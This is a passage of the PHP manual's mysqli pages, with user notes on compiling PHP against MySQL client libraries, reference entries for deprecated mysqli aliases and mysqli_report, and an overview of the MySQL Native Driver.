mysqli variant doesn't exist. Use mysqli_real_query()
chris <at> gerlt.net 07-Jul-2006 11:47
For installing mysqli extension after PHP is installed on a Linux ubuntu ( or other linux distro with apt-get such as debian, etc...):

# apt-get install php5-mysqli

NOTE: after install, you need to reboot apache
# apache2ctl graceful
Docey 08-Jun-2006 11:11
It should be noticed that mysqli does not support persistent
connections, so do not bother about implementing them
unless you got a million hits an hour on your website.

also about using both mysql and mysqli, i want to note
that under windows the best approach is to load either
mysql or mysqli at runtime not both.

i know that under php5 this is deprecated but it seems
to work fine. i used the same appoach under debian-linux
and seems to work aswell. just don't know for the
speed cost. maybe someone can benchmark this out.

just my 2 eurocents.
kronicade@yahoo 09-Mar-2006 11:42
Same problem, no solution.  I'm running Solaris sparc with mysql 4.1.12.  I've tried every config command I can think of and have modified my PATH as follows:

setenv PATH /usr/ccs/bin:
/usr/local/bin:
/usr/local/ipw/bin:
/usr/local/ipw/contrib/bin:
/sbin:/usr/sbin:
/usr/bin:
/usr/bin/X11:
/usr/ucb:
/usr/openwin/bin

./configure '--prefix=/usr/local/php' '--localstatedir=/usr/local'  '--mandir=/usr/share/man' '--with-mysqli=/usr/local/mysql/bin/mysql_config' '--includedir=/usr/lib' '--enable-shared=max'  '--enable-module=most'  '--with-imap=/usr/local/imap'  '--with-imap-ssl=/usr/local/ssl'  '--with-apxs2=/usr/local/apache2/bin/apxs'  '--enable-fastcgi'  '--enable-mbstring=all'  '--with-zlib-dir=/usr'  '--with-openssl=/usr/local/ssl'

I think it's a compatibility issue with the version of mysql running 64-bit.

-Andrew
Michael <mstclaire at myprintflow dot com> 12-Jan-2006 07:10
I was running into some random issues using the myqli extension with MySQL 5 on Mac OS X.

I discovered that when I compiled php 5 with the --with-mysqli flag, it was building php with the pre-installed MySQL 4 client libraries.

Heres how it fixed it to build php with the correct MySQL client libraries.

----------------
I had installed the binary version of MySQL 5 from MySQL AB. It installs everything in the default location /usr/local/mysql, which is fine. The MySQL version that comes with OS X ( v.4.x, depends on your OS X version ) installs the mysql_config help utility at /usr/bin/mysql_config. When php configs, it uses that one by default, inheritently using the wrong MySQL client libs.

No problem I thought, I just changed the --with-mysqli flag to --with-mysqli=/usr/local/mysql/bin/mysql_config ( or sudo find / -name mysql_config to find yours ). Nope, php throws a build error because it can't find the matching libraries. Hmmm...

So i tested /usr/local/mysql/bin/mysql_config --version, and I am shown my most current MySQL install. The problem is that the binary editions for OS X DO NOT include the shared libs ( libmysqlclient.dylib ). Oh no, I did not want to compile MySQL myself, not because I don't know how, but because MySQL AB does not recommend it, and for good reasons. Trust me, I've found out the hard way.

So what do you do? Download the source version of MySQL 5 that matches my binary version.

Configure MySQL:

./configure --enable-shared ( it's listed as ON as default, but I want to be sure )

Build MySQL:

make ( requires Developer Tools, but you knew that )

DO NOT make install !!! I repeat, DO NOT make install unless you really wish to overwrite your binary verions, which is not a good idea. ( You can configure MySQL with the --without-server flag, but I want to be certain I don't mess up )

Ok, almost done. Go to the lib directory in your MySQL build location and go to the invisible directory, .libs . There you will find your shared libraries, namely libmysqlclient.15.0.0.dylib.

Copy this to your /usr/local/mysql/lib directory. Now do the following from the lib directory:

ln -s libmysqlclient.15.0.0.dylib libmysqlclient.15.dylib
ln -s libmysqlclient.15.0.0.dylib libmysqlclient.dylib
mkdir mysql
cd mysql
ln -s ../libmysqlclient.15.0.0.dylib libmysqlclient.15.0.0.dylib
ln -s ../libmysqlclient.15.0.0.dylib libmysqlclient.15.dylib
ln -s ../libmysqlclient.15.0.0.dylib libmysqlclient.dylib

Now you can build your php with the correct library. After you build, check your phpinfo(); to validate the client version under the mysqli section. When I restarted Apache, it originally couldn't find my libraries, thus the /usr/local/mysql/lib/mysql directory.

Hope this helped.
Brad Marsh 09-Nov-2005 07:54
Notes for FreeBSD 6.0-RELEASE

MySQL 5.0.15 (source), Apache 2.0.55 (port), PHP 5.0.15 (source) - I used sources for MySQL and PHP because I could not get it all to work together using only ports.

First MySQL:
==================================
cd /usr/local/src
tar zxvf /path/to/mysql-5.0.15.tar.gz

./configure --prefix=/usr/local/mysql --localstatedir=/usr/local/mysql/data --enable-assembler --with-mysqld-ldflags=-all-static CFLAGS="-O3" CXX=gcc CXXFLAGS="-O3 -felide-constructors -fno-exceptions -fno-rtti"

make
make install

Apache:
==================================
MAKE SURE YOUR PORTS ARE UP-TO-DATE - use cvsup

cd /usr/ports/www/apache2
make
make install
make clean

PHP:
==================================
cd /usr/local/src
tar zxvf /path/to/php-5.0.5.tar.gz

./configure --with-xml --with-zlib --with-mysql=/usr/local/mysql --with-mysqli=/usr/local/mysql/bin/mysql_config --with-apxs2=/usr/local/sbin/apxs

EXTRA STEP for mysql and mysqli extensions at the same time:
See this forum thread: http://www.kofler.cc/forum/forumthread.php?rootID=3571

In the PHP Makefile, I changed the line (note all the duplicates)

EXTRA_LIBS = -lcrypt -lcrypt -lmysqlclient -lz -lm -lxml2 -lz -liconv -lm -lxml2 -lz -liconv -lm -lmysqlclient -lz -lcrypt -lm -lxml2 -lz -liconv -lm -lcrypt -lxml2 -lz -liconv -lm -lcrypt

to

EXTRA_LIBS = -lcrypt -lmysqlclient -lz -lm -lxml2 -liconv

make
make install

Hope this helps somebody...
arjen at mysql dot com 04-Aug-2005 01:26
John Coggeshall wrote a PHP5 ext/mysqli compatibility script for applications that still use the old ext/mysql functions. This prevents the hassle of trying to have both the mysql and mysqli extensions loaded in PHP5, which can be tricky.

The script is at:
http://www.coggeshall.org/oss/mysql2i/
Andrei Nazarenko 22-Feb-2005 11:21
If you are having trouble compiling PHP5 with MySQLi support on Linux and getting a message:
"configure: error: wrong mysql library version or lib not found"
and the config.log shows an error about -lnss_files being not found, here is the solution:

edit your mysql_config file and *REMOVE* all  "-lnss_files" AND "-lnss_dns" entries from it.
After that PHP should not complain anymore.
neil 10-Feb-2005 02:15
I have spent far too much time finding this answer:

Since PHP5 many many people are having installation problems.  I found many apps were broken when I upgraded to version 5.  I tried to install mysql and mysqli and had problems.

Here's the solution:

After doing:

 ./configure --with-mysql=/path/to/mysql_config --with-mysqli=/path/to/mysql_config

do this:

"
    if you want to use both the old mysql and the new mysqli interface, load the Makefile into your editor and search for the line beginning with EXTRA_LIBS; it includes -lmysqlclient twice; remove the second instance
"

then you can:

make
make install

......
Please note:  the mysql-dev must be installed or you won't have a mysql_config anywhere.  I installed the mysql-dev rpm

Further note:  the information about the Makefile's duplicate instances of "-libmysqlclient" came from Michael Kofler.  Thanks should be directed to him.  He gives more details at the following link:

http://www.kofler.cc/forum/forumthread.php?rootID=3571
php at arwin dot net 02-Feb-2005 03:32
For those having trouble compiling with both --with-mysql AND --with-mysqli, I found a solution at this URL:

http://bugs.php.net/bug.php?id=29860&edit=1

rjanson at msn dot com writes:

OK, finally an answer!

I checked Makefile and found the following line:

EXTRA_LIBS = -lcrypt -lcrypt -lmysqlclient -lpng -lz -lz -lresolv -lm
-ldl -lnsl -lxml2 -
lz -lm -lxml2 -lz -lm -lmysqlclient -lcrypt -lnsl -lm -lz -lnss_files
-lnss_dns -lresolv -lnss_files
 -lnss_dns -lresolv -lxml2 -lz -lm -lcrypt -lxml2 -lz -lm -lcrypt

By removing one of the -lmysqlclient entries on this line I was able to
successfully make and make install with both mysql and mysqli. As
confirmed by phpInfo().

I'm not sure why the other libs have multiple entries and don't cause
make to crash.
Yair Lapin 10-Nov-2004 07:28
I successed to install php support for a mysql 4.1.7 database after several attempts because the instructions are not clear.
I have a server with linux SuSe 9 enterprise with apache 1.3.31. I installed mysql from rpm files, i installed php 4.3.9 as dynamic library. this version database needs its own client library else the mysql functions in php will not work.
configuration must be as following:

./configure --with-msqli=/usr/bin/mysql_config --with-mysql=/usr  --with-apxs=/usr/local/apache/bin/apxs

 Must be installed in your machine the correct mysql librery:

MySQL-devel-4.1.7-0
MySQL-shared-4.1.7-0
nathansquires at pacbell dot net 13-Sep-2004 10:44
If you want to build php with both the Mysql and mysqli extensions, make sure your mysql distribution comes with shared libraries or build mysql yourself with shared libraries. With only static mysql libraries the compile process will fail.
severin dot kacianka at aon dot at 12-Aug-2004 03:55
I tryed Marco Kaiser's way of getting both mysql_* and mysqli_*, but it failed for me. However I could get it working this way:
First of all I installed the MySQL 4.1.3 binary disribution acourding to the manual. Then I simply passed these ./configure arguments:

--with-mysql=/path/to/mysql4.1.3
--with-mysqli=/path/to/mysql4.1.3/bin/mysql_config

This enabled both, the mysql_* and mysqli_* functions.

Severin Kacianka
philip 17-Jun-2004 03:51
A couple tutorials on the subject of mysqli:
* http://www.zend.com/php5/articles/php5-mysqli.php
* http://www.zend.com/php5/articles/php5-mysqli2.php
phoeniks[at]nm[dot]ru 08-Apr-2004 03:21
Here is a little sample to do fast hierarchical queries using new prepared statements

<?php
// Root - lowest start element
// Top  - most top element
// stack - array for storing info

function tree_rise($root, &$stack, $top = 0) {
  $mysqli = mysqli_connect('localhost', 'root');
  $top  = (int)$top;
  $stmt = mysqli_prepare($mysqli, "SELECT id, pid, title FROM news.strg WHERE id = ? LIMIT 1");
  mysqli_stmt_bind_param($stmt, "i", $root);
  mysqli_stmt_execute($stmt);
  mysqli_stmt_store_result($stmt);
  mysqli_bind_result($stmt, $id, $root, $title);

  while (mysqli_fetch($stmt)) {
    $stack[$id] = $title;
    if ($root != $top && !is_null($root)) {
      mysqli_stmt_execute($stmt);
      mysqli_stmt_store_result($stmt);
    }
  }
  return count($stack);
}
?>
mysqli_warning::next
mysqli_bind_param
Mysqli


Alias for mysqli_stmt_bind_param

Aliases and deprecated Mysqli Functions
mysqli_bind_result
Aliases and deprecated Mysqli Functions
PHP Manual

mysqli_bind_param

(PHP 5)

mysqli_bind_param — Alias for mysqli_stmt_bind_param()

Description

This function is an alias of mysqli_stmt_bind_param().

Notes

Note:

mysqli_bind_param() is deprecated and will be removed.

See Also

  • mysqli_stmt_bind_param() - Binds variables to a prepared statement as parameters

User Contributed Notes

There are no user contributed notes for this page.
Aliases and deprecated Mysqli Functions
mysqli_bind_result
Aliases and deprecated Mysqli Functions


Alias for mysqli_stmt_bind_result

mysqli_bind_param
mysqli_client_encoding
Aliases and deprecated Mysqli Functions
PHP Manual

mysqli_bind_result

(PHP 5)

mysqli_bind_result — Alias for mysqli_stmt_bind_result()

Description

This function is an alias of mysqli_stmt_bind_result().

Notes

Note:

mysqli_bind_result() is deprecated and will be removed.

See Also

  • mysqli_stmt_bind_result() - Binds variables to a prepared statement for result storage

User Contributed Notes

There are no user contributed notes for this page.
mysqli_bind_param
mysqli_client_encoding
Aliases and deprecated Mysqli Functions


Alias of mysqli_character_set_name

mysqli_bind_result
mysqli_connect
Aliases and deprecated Mysqli Functions
PHP Manual

mysqli_client_encoding

(PHP 5)

mysqli_client_encoding — Alias of mysqli_character_set_name()

Description

This function is an alias of mysqli_character_set_name().

See Also

  • mysqli_real_escape_string() - Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

User Contributed Notes

There are no user contributed notes for this page.
mysqli_bind_result
mysqli_connect
Aliases and deprecated Mysqli Functions


Alias of mysqli::__construct

mysqli_client_encoding
mysqli_disable_rpl_parse
Aliases and deprecated Mysqli Functions
PHP Manual

mysqli_connect

(PHP 5)

mysqli_connect — Alias of mysqli::__construct()

Description

This function is an alias of: mysqli::__construct()

User Contributed Notes

There are no user contributed notes for this page.
mysqli_client_encoding
mysqli_disable_rpl_parse
Aliases and deprecated Mysqli Functions


Disable RPL parse

mysqli_connect
mysqli_enable_reads_from_master
Aliases and deprecated Mysqli Functions
PHP Manual

mysqli_disable_rpl_parse

(PHP 5)

mysqli_disable_rpl_parse — Disable RPL parse

Description

bool mysqli_disable_rpl_parse ( mysqli $link )
Warning

This function is currently not documented; only its argument list is available.

Warning

This function has been DEPRECATED and REMOVED as of PHP 5.3.0.

User Contributed Notes

There are no user contributed notes for this page.
mysqli_connect
mysqli_enable_reads_from_master
Aliases and deprecated Mysqli Functions


Enable reads from master

mysqli_disable_rpl_parse
mysqli_enable_rpl_parse
Aliases and deprecated Mysqli Functions
PHP Manual

mysqli_enable_reads_from_master

(PHP 5)

mysqli_enable_reads_from_master — Enable reads from master

Description

bool mysqli_enable_reads_from_master ( mysqli $link )
Warning

This function is currently not documented; only its argument list is available.

Warning

This function has been DEPRECATED and REMOVED as of PHP 5.3.0.

User Contributed Notes

There are no user contributed notes for this page.
mysqli_disable_rpl_parse
mysqli_enable_rpl_parse
Aliases and deprecated Mysqli Functions


Enable RPL parse

mysqli_enable_reads_from_master
mysqli_escape_string
Aliases and deprecated Mysqli Functions
PHP Manual

mysqli_enable_rpl_parse

(PHP 5)

mysqli_enable_rpl_parse — Enable RPL parse

Description

bool mysqli_enable_rpl_parse ( mysqli $link )
Warning

This function is currently not documented; only its argument list is available.

Warning

This function has been DEPRECATED and REMOVED as of PHP 5.3.0.

User Contributed Notes

There are no user contributed notes for this page.
mysqli_enable_reads_from_master
mysqli_escape_string
Aliases and deprecated Mysqli Functions


Alias of mysqli_real_escape_string

mysqli_enable_rpl_parse
mysqli_execute
Aliases and deprecated Mysqli Functions
PHP Manual

mysqli_escape_string

(PHP 5)

mysqli_escape_string — Alias of mysqli_real_escape_string()

Description

This function is an alias of: mysqli_real_escape_string().

User Contributed Notes

There are no user contributed notes for this page.
mysqli_enable_rpl_parse
mysqli_execute
Aliases and deprecated Mysqli Functions


Alias for mysqli_stmt_execute

mysqli_escape_string
mysqli_fetch
Aliases and deprecated Mysqli Functions
PHP Manual

mysqli_execute

(PHP 5)

mysqli_execute — Alias for mysqli_stmt_execute()

Description

This function is an alias of mysqli_stmt_execute().

Notes

Note:

mysqli_execute() is deprecated and will be removed.

See Also

  • mysqli_stmt_execute() - Executes a prepared Query

User Contributed Notes

There are no user contributed notes for this page.
mysqli_escape_string
mysqli_fetch
Aliases and deprecated Mysqli Functions


Alias for mysqli_stmt_fetch

mysqli_execute
mysqli_get_cache_stats
Aliases and deprecated Mysqli Functions
PHP Manual

mysqli_fetch

(PHP 5)

mysqli_fetch — Alias for mysqli_stmt_fetch()

Description

This function is an alias of mysqli_stmt_fetch().

Notes

Note:

mysqli_fetch() is deprecated and will be removed.

See Also

  • mysqli_stmt_fetch() - Fetch results from a prepared statement into the bound variables

User Contributed Notes

There are no user contributed notes for this page.
mysqli_execute
mysqli_get_cache_stats
Aliases and deprecated Mysqli Functions


Returns client Zval cache statistics

mysqli_fetch
mysqli_get_metadata
Aliases and deprecated Mysqli Functions
PHP Manual

mysqli_get_cache_stats

(PHP 5 >= 5.3.0)

mysqli_get_cache_stats — Returns client Zval cache statistics

Description

array mysqli_get_cache_stats ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns client Zval cache statistics. Available only with mysqlnd.

Parameters

Return Values

Returns an array with client Zval cache stats if success, FALSE otherwise.

Examples

Example #1 A mysqli_get_cache_stats() example

<?php
$link = mysqli_connect();
print_r(mysqli_get_cache_stats());
?>

The above example will output something similar to:

Array
(
    [bytes_sent] => 43
    [bytes_received] => 80
    [packets_sent] => 1
    [packets_received] => 2
    [protocol_overhead_in] => 8
    [protocol_overhead_out] => 4
    [bytes_received_ok_packet] => 11
    [bytes_received_eof_packet] => 0
    [bytes_received_rset_header_packet] => 0
    [bytes_received_rset_field_meta_packet] => 0
    [bytes_received_rset_row_packet] => 0
    [bytes_received_prepare_response_packet] => 0
    [bytes_received_change_user_packet] => 0
    [packets_sent_command] => 0
    [packets_received_ok] => 1
    [packets_received_eof] => 0
    [packets_received_rset_header] => 0
    [packets_received_rset_field_meta] => 0
    [packets_received_rset_row] => 0
    [packets_received_prepare_response] => 0
    [packets_received_change_user] => 0
    [result_set_queries] => 0
    [non_result_set_queries] => 0
    [no_index_used] => 0
    [bad_index_used] => 0
    [slow_queries] => 0
    [buffered_sets] => 0
    [unbuffered_sets] => 0
    [ps_buffered_sets] => 0
    [ps_unbuffered_sets] => 0
    [flushed_normal_sets] => 0
    [flushed_ps_sets] => 0
    [ps_prepared_never_executed] => 0
    [ps_prepared_once_executed] => 0
    [rows_fetched_from_server_normal] => 0
    [rows_fetched_from_server_ps] => 0
    [rows_buffered_from_client_normal] => 0
    [rows_buffered_from_client_ps] => 0
    [rows_fetched_from_client_normal_buffered] => 0
    [rows_fetched_from_client_normal_unbuffered] => 0
    [rows_fetched_from_client_ps_buffered] => 0
    [rows_fetched_from_client_ps_unbuffered] => 0
    [rows_fetched_from_client_ps_cursor] => 0
    [rows_skipped_normal] => 0
    [rows_skipped_ps] => 0
    [copy_on_write_saved] => 0
    [copy_on_write_performed] => 0
    [command_buffer_too_small] => 0
    [connect_success] => 1
    [connect_failure] => 0
    [connection_reused] => 0
    [reconnect] => 0
    [pconnect_success] => 0
    [active_connections] => 1
    [active_persistent_connections] => 0
    [explicit_close] => 0
    [implicit_close] => 0
    [disconnect_close] => 0
    [in_middle_of_command_close] => 0
    [explicit_free_result] => 0
    [implicit_free_result] => 0
    [explicit_stmt_close] => 0
    [implicit_stmt_close] => 0
    [mem_emalloc_count] => 0
    [mem_emalloc_ammount] => 0
    [mem_ecalloc_count] => 0
    [mem_ecalloc_ammount] => 0
    [mem_erealloc_count] => 0
    [mem_erealloc_ammount] => 0
    [mem_efree_count] => 0
    [mem_malloc_count] => 0
    [mem_malloc_ammount] => 0
    [mem_calloc_count] => 0
    [mem_calloc_ammount] => 0
    [mem_realloc_count] => 0
    [mem_realloc_ammount] => 0
    [mem_free_count] => 0
    [proto_text_fetched_null] => 0
    [proto_text_fetched_bit] => 0
    [proto_text_fetched_tinyint] => 0
    [proto_text_fetched_short] => 0
    [proto_text_fetched_int24] => 0
    [proto_text_fetched_int] => 0
    [proto_text_fetched_bigint] => 0
    [proto_text_fetched_decimal] => 0
    [proto_text_fetched_float] => 0
    [proto_text_fetched_double] => 0
    [proto_text_fetched_date] => 0
    [proto_text_fetched_year] => 0
    [proto_text_fetched_time] => 0
    [proto_text_fetched_datetime] => 0
    [proto_text_fetched_timestamp] => 0
    [proto_text_fetched_string] => 0
    [proto_text_fetched_blob] => 0
    [proto_text_fetched_enum] => 0
    [proto_text_fetched_set] => 0
    [proto_text_fetched_geometry] => 0
    [proto_text_fetched_other] => 0
    [proto_binary_fetched_null] => 0
    [proto_binary_fetched_bit] => 0
    [proto_binary_fetched_tinyint] => 0
    [proto_binary_fetched_short] => 0
    [proto_binary_fetched_int24] => 0
    [proto_binary_fetched_int] => 0
    [proto_binary_fetched_bigint] => 0
    [proto_binary_fetched_decimal] => 0
    [proto_binary_fetched_float] => 0
    [proto_binary_fetched_double] => 0
    [proto_binary_fetched_date] => 0
    [proto_binary_fetched_year] => 0
    [proto_binary_fetched_time] => 0
    [proto_binary_fetched_datetime] => 0
    [proto_binary_fetched_timestamp] => 0
    [proto_binary_fetched_string] => 0
    [proto_binary_fetched_blob] => 0
    [proto_binary_fetched_enum] => 0
    [proto_binary_fetched_set] => 0
    [proto_binary_fetched_geometry] => 0
    [proto_binary_fetched_other] => 0
)

See Also

  • Stats description

User Contributed Notes

There are no user contributed notes for this page.
mysqli_fetch
mysqli_get_metadata
Aliases and deprecated Mysqli Functions


Alias for mysqli_stmt_result_metadata

mysqli_get_cache_stats
mysqli_master_query
Aliases and deprecated Mysqli Functions
PHP Manual

mysqli_get_metadata

(PHP 5)

mysqli_get_metadata — Alias for mysqli_stmt_result_metadata()

Description

This function is an alias of mysqli_stmt_result_metadata().

Notes

Note:

mysqli_get_metadata() is deprecated and will be removed.

See Also

  • mysqli_stmt_result_metadata() - Returns result set metadata from a prepared statement

User Contributed Notes

There are no user contributed notes for this page.
mysqli_get_cache_stats
mysqli_master_query
Aliases and deprecated Mysqli Functions


Enforce execution of a query on the master in a master/slave setup

mysqli_get_metadata
mysqli_param_count
Aliases and deprecated Mysqli Functions
PHP Manual

mysqli_master_query

(PHP 5)

mysqli_master_query — Enforce execution of a query on the master in a master/slave setup

Description

bool mysqli_master_query ( mysqli $link , string $query )
Warning

This function is currently not documented; only its argument list is available.

Warning

This function has been DEPRECATED and REMOVED as of PHP 5.3.0.

User Contributed Notes

There are no user contributed notes for this page.
mysqli_get_metadata
mysqli_param_count
Aliases and deprecated Mysqli Functions


Alias for mysqli_stmt_param_count

mysqli_master_query
mysqli_report
Aliases and deprecated Mysqli Functions
PHP Manual

mysqli_param_count

(PHP 5)

mysqli_param_count — Alias for mysqli_stmt_param_count()

Description

This function is an alias of mysqli_stmt_param_count().

Notes

Note:

mysqli_param_count() is deprecated and will be removed.

See Also

  • mysqli_stmt_param_count() - Returns the number of parameter for the given statement

User Contributed Notes

There are no user contributed notes for this page.
mysqli_master_query
mysqli_report
Aliases and deprecated Mysqli Functions


Enables or disables internal report functions

mysqli_param_count
mysqli_rpl_parse_enabled
Aliases and deprecated Mysqli Functions
PHP Manual

mysqli_report

(PHP 5)

mysqli_report — Enables or disables internal report functions

Description

bool mysqli_report ( int $flags )

mysqli_report() is a powerful function to improve your queries and code during development and testing phase. Depending on the flags it reports errors from mysqli function calls or queries which don't use an index (or use a bad index).

Parameters

flags

Supported flags
Name | Description
MYSQLI_REPORT_OFF | Turns reporting off
MYSQLI_REPORT_ERROR | Report errors from mysqli function calls
MYSQLI_REPORT_STRICT | Throw mysqli_sql_exception for errors instead of warnings
MYSQLI_REPORT_INDEX | Report if no index or bad index was used in a query
MYSQLI_REPORT_ALL | Set all options (report all)

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.2.15 & 5.3.4 | Changing the reporting mode is now be per-request, rather than per-process.

Examples

Example #1 Object oriented style

<?php
/* activate reporting */
mysqli_report(MYSQLI_REPORT_ALL);

$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* this query should report an error */
$result = $mysqli->query("SELECT Name FROM Nonexistingtable WHERE population > 50000");

/* this query should report a bad index */
$result = $mysqli->query("SELECT Name FROM City WHERE population > 50000");
$result->close();

$mysqli->close();
?>

See Also

  • mysqli_driver::$report_mode
  • mysqli_debug() - Performs debugging operations
  • mysqli_dump_debug_info() - Dump debugging information into the log

User Contributed Notes

grepmaster 22-Mar-2009 05:51
Hint: If you use

mysqli_report(MYSQLI_REPORT_ALL ^ MYSQLI_REPORT_STRICT)

normal errors are generated instead of exceptions.
Polarina 10-Nov-2007 03:08
It should be noted that all reports made by this function, are sent through an exception named 'mysqli_sql_exception' instead of a normal PHP warning.
anthony dot parsons at manx dot net 05-Nov-2005 07:23
Be very careful using this function - it's a per-process setting.
If your server is set up to reuse a single PHP process for multiple requests, that means the last setting of this function in any script will affect all other scripts using mysqli.
To be safe always call <? mysqli_report(MYSQLI_REPORT_OFF) ?> at the end of a script. The CGI version of PHP is probably safe from this.

(Tested using PHP 5.0.5, Apache 2 SAPI module)
mysqli_param_count
mysqli_rpl_parse_enabled
Aliases and deprecated Mysqli Functions


Check if RPL parse is enabled

mysqli_report
mysqli_rpl_probe
Aliases and deprecated Mysqli Functions
PHP Manual

mysqli_rpl_parse_enabled

(PHP 5)

mysqli_rpl_parse_enabled — Check if RPL parse is enabled

Description

int mysqli_rpl_parse_enabled ( mysqli $link )
Warning

This function is currently not documented; only its argument list is available.

Warning

This function has been DEPRECATED and REMOVED as of PHP 5.3.0.

User Contributed Notes

There are no user contributed notes for this page.
mysqli_report
mysqli_rpl_probe
Aliases and deprecated Mysqli Functions


RPL probe

mysqli_rpl_parse_enabled
mysqli_send_long_data
Aliases and deprecated Mysqli Functions
PHP Manual

mysqli_rpl_probe

(PHP 5)

mysqli_rpl_probe — RPL probe

Description

bool mysqli_rpl_probe ( mysqli $link )
Warning

This function is currently not documented; only its argument list is available.

Warning

This function has been DEPRECATED and REMOVED as of PHP 5.3.0.

User Contributed Notes

There are no user contributed notes for this page.
mysqli_rpl_parse_enabled
mysqli_send_long_data
Aliases and deprecated Mysqli Functions


Alias for mysqli_stmt_send_long_data

mysqli_rpl_probe
mysqli_set_opt
Aliases and deprecated Mysqli Functions
PHP Manual

mysqli_send_long_data

(PHP 5)

mysqli_send_long_data — Alias for mysqli_stmt_send_long_data()

Description

This function is an alias of mysqli_stmt_send_long_data().

Notes

Note:

mysqli_send_long_data() is deprecated and will be removed.

See Also

  • mysqli_stmt_send_long_data() - Send data in blocks

User Contributed Notes

There are no user contributed notes for this page.
mysqli_rpl_probe
mysqli_set_opt
Aliases and deprecated Mysqli Functions


Alias of mysqli_options

mysqli_send_long_data
mysqli_slave_query
Aliases and deprecated Mysqli Functions
PHP Manual

mysqli_set_opt

(PHP 5)

mysqli_set_opt — Alias of mysqli_options()

Description

This function is an alias of mysqli_options().

User Contributed Notes

There are no user contributed notes for this page.
mysqli_send_long_data
mysqli_slave_query
Aliases and deprecated Mysqli Functions


Force execution of a query on a slave in a master/slave setup

mysqli_set_opt
Mysqlnd
Aliases and deprecated Mysqli Functions
PHP Manual

mysqli_slave_query

(PHP 5)

mysqli_slave_query — Force execution of a query on a slave in a master/slave setup

Description

bool mysqli_slave_query ( mysqli $link , string $query )
Warning

This function is currently not documented; only its argument list is available.

Warning

This function has been DEPRECATED and REMOVED as of PHP 5.3.0.

User Contributed Notes

There are no user contributed notes for this page.
mysqli_set_opt
Mysqlnd
Aliases and deprecated Mysqli Functions


MySQL Native Driver

  • Introduction
  • Overview
  • Installation
  • Runtime Configuration
  • Persistent Connections
  • Statistics
  • Notes
  • MySQL Native Driver Plugin API
    • A comparison of mysqlnd plugins with MySQL Proxy
    • Obtaining the mysqlnd plugin API
    • MySQL Native Driver Plugin Architecture
    • The mysqlnd plugin API
    • Getting started building a mysqlnd plugin

User Contributed Notes

juangiordana at gmail dot com 15-Jan-2011 05:55
Notice that since of PHP 5.3.0 there is no need to set 'default_socket_timeout to -1'.

"The MySQL Client Library sets a default timeout of 365 * 24 * 3600 seconds (1 year) and waits for other timeouts to occur, such as TCP/IP timeouts. mysqlnd now uses the same very long timeout."

http://www.php.net/mysqlnd.config.php#mysqlnd.net_read_timeout
koalay at gmail dot com 16-Sep-2009 10:53
For those who manually compiled MySQL, the default
 mysqlnd settings may results in error.
Your mysql_error() function may give you this message:

---------------------------
No such file or directory (trying to connect via unix:///tmp/mysql.sock)
---------------------------

This is because your manually compiled MySQL has its own place for socket.
You need to provide PHP a reference for an appropriate mysql socket.
That means you need to edit php.ini and add a section like this:

---------------------------
[mysql]
mysql.default_socket="/your/path/to/mysql.sock"
---------------------------
eric dot caron at gmail dot com 02-Sep-2009 09:59
One important part of the MySQL Native Driver, which is overlooked, is that when connecting to MySQL via a socket, the connection is subject to the "default_socket_timeout" value.

This means that if you have the default_socket_timeout set to 60 (default value), and you have a query that takes longer than 60 seconds to respond, the connection will be severed and getting the query results will fail.

The solution (as of PHP 5.3.0) is to change default_socket_timeout to -1 in php.ini, or with ini_set.
mysqli_slave_query
Introduction
MySQL


Introduction

This section of the manual provides an overview of the MySQL Native Driver.

User Contributed Notes

There are no user contributed notes for this page.
Mysqlnd
Overview
Mysqlnd


Overview

MySQL Native Driver is a replacement for the MySQL Client Library (libmysql). MySQL Native Driver is part of the official PHP sources as of PHP 5.3.0.

The MySQL database extensions MySQL extension, mysqli and PDO MYSQL all communicate with the MySQL server. In the past, this was done by the extension using the services provided by the MySQL Client Library. The extensions were compiled against the MySQL Client Library in order to use its client-server protocol.

With MySQL Native Driver there is now an alternative, as the MySQL database extensions can be compiled to use MySQL Native Driver instead of the MySQL Client Library.

MySQL Native Driver is written in C as a PHP extension.

What it is not

Although MySQL Native Driver is written as a PHP extension, it is important to note that it does not provide a new API to the PHP programmer. The programmer APIs for MySQL database connectivity are provided by the MySQL extension, mysqli and PDO MYSQL. These extensions can now use the services of MySQL Native Driver to communicate with the MySQL Server. Therefore, you should not think of MySQL Native Driver as an API.

Why use it?

Using the MySQL Native Driver offers a number of advantages over using the MySQL Client Library.

The older MySQL Client Library was written by MySQL AB (now Oracle Corporation) and so was released under the MySQL license. This ultimately led to MySQL support being disabled by default in PHP. However, the MySQL Native Driver has been developed as part of the PHP project, and is therefore released under the PHP license. This removes licensing issues that have been problematic in the past.

Also, in the past, you needed to build the MySQL database extensions against a copy of the MySQL Client Library. This typically meant you needed to have MySQL installed on a machine where you were building the PHP source code. Also, when your PHP application was running, the MySQL database extensions would call down to the MySQL Client library file at run time, so the file needed to be installed on your system. With MySQL Native Driver that is no longer the case as it is included as part of the standard distribution. So you do not need MySQL installed in order to build PHP or run PHP database applications.

Because MySQL Native Driver is written as a PHP extension, it is tightly coupled to the workings of PHP. This leads to gains in efficiency, especially when it comes to memory usage, as the driver uses the PHP memory management system. It also supports the PHP memory limit. Using MySQL Native Driver leads to comparable or better performance than using MySQL Client Library, it always ensures the most efficient use of memory. One example of the memory efficiency is the fact that when using the MySQL Client Library, each row is stored in memory twice, whereas with the MySQL Native Driver each row is only stored once in memory.

Special features

MySQL Native Driver also provides some special features not available when the MySQL database extensions use MySQL Client Library. These special features are listed below:

  • Improved persistent connections

  • The special function mysqli_fetch_all()

  • Performance statistics calls:
mysqli_get_cache_stats(),
mysqli_get_client_stats(),
mysqli_get_connection_stats()

The performance statistics facility can prove to be very useful in identifying performance bottlenecks.

MySQL Native Driver also allows for persistent connections when used with the mysqli extension.

SSL Support

MySQL Native Driver has supported SSL since PHP version 5.3.3

Compressed Protocol Support

As of PHP 5.3.2 MySQL Native Driver supports the compressed client server protocol. MySQL Native Driver did not support this in 5.3.0 and 5.3.1. Extensions such as ext/mysql, ext/mysqli, that are configured to use MySQL Native Driver, can also take advantage of this feature. Note that PDO_MYSQL does NOT support compression when used together with mysqlnd.

Named Pipes Support

Named pipes support for Windows was added in PHP version 5.4.0.

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Installation
Mysqlnd


Installation

Changelog

Changelog
Version | Description
